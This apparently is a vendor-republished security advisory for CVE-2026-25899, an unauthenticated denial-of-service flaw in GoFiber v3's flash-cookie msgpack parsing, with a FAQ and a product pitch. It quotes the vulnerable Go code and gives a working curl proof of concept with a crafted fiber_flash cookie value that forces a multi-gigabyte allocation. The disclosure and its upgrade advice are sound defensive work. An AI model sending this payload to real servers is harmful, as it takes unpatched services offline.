CVE-2026-25899

The use of the fiber_flash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.

Details

Regardless of configuration, the flash cookie is checked:

func (app *App) requestHandler(rctx *fasthttp.RequestCtx) {
	// Acquire context from the pool
	ctx := app.AcquireCtx(rctx)
	defer app.ReleaseCtx(ctx)

		// Optional: Check flash messages
		rawHeaders := d.Request().Header.RawHeaders()
		if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
			d.Redirect().parseAndClearFlashMessages()
		}
		_, err = app.next(d)
	} else {
		// Check if the HTTP method is valid
		if ctx.getMethodInt() == -1 {
			_ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil
			return
		}

		// Optional: Check flash messages
		rawHeaders := ctx.Request().Header.RawHeaders()
		if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
			ctx.Redirect().parseAndClearFlashMessages()
		}
}

The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371

// parseAndClearFlashMessages is a method to get flash messages before they are getting removed
func (r *Redirect) parseAndClearFlashMessages() {
	// parse flash messages
	cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))
	if err != nil {
		return
	}

	_, err = r.c.flashMessages.UnmarshalMsg(cookieValue)
	if err != nil {
		return
	}

	r.c.Cookie(&Cookie{
		Name:   FlashCookieName,
		Value:  "",
		Path:   "/",
		MaxAge: -1,
	})
}

The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242

// UnmarshalMsg implements msgp.Unmarshaler
func (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {
	var zb0002 uint32
	zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)
	if err != nil {
		err = msgp.WrapError(err)
		return o, err
	}
	if cap((*z)) >= int(zb0002) {
		(*z) = (*z)[:zb0002]
	} else {
		(*z) = make(redirectionMsgs, zb0002)
	}
	for zb0001 := range *z {
		bts, err = (*z)[zb0001].UnmarshalMsg(bts)
		if err != nil {
			err = msgp.WrapError(err, zb0001)
			return o, err
		}
	}
	o = bts
	return o, err
}

where
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation

So we can craft a gofiber cookie that will force a huge allocation:
curl -H "Cookie: fiber_flash=dd7fffffff" http://localhost:5000/hello

The cookie val is a hex-encoded msgpack array32 header:

• dd = msgpack array32 marker
• 7fffffff = 2 147 483 647 elements

Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-25899 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25899? CVE-2026-25899 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/gofiber/fiber/v3 (go), affecting versions <= 3.0.0. It is fixed in 3.1.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2026-25899? CVE-2026-25899 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gofiber/fiber/v3 are affected by CVE-2026-25899? github.com/gofiber/fiber/v3 (go) versions <= 3.0.0 is affected.
4. Is there a fix for CVE-2026-25899? Yes. CVE-2026-25899 is fixed in 3.1.0. Upgrade to this version or later.
5. Is CVE-2026-25899 exploitable, and should I be worried? Whether CVE-2026-25899 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25899 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25899? Upgrade github.com/gofiber/fiber/v3 to 3.1.0 or later.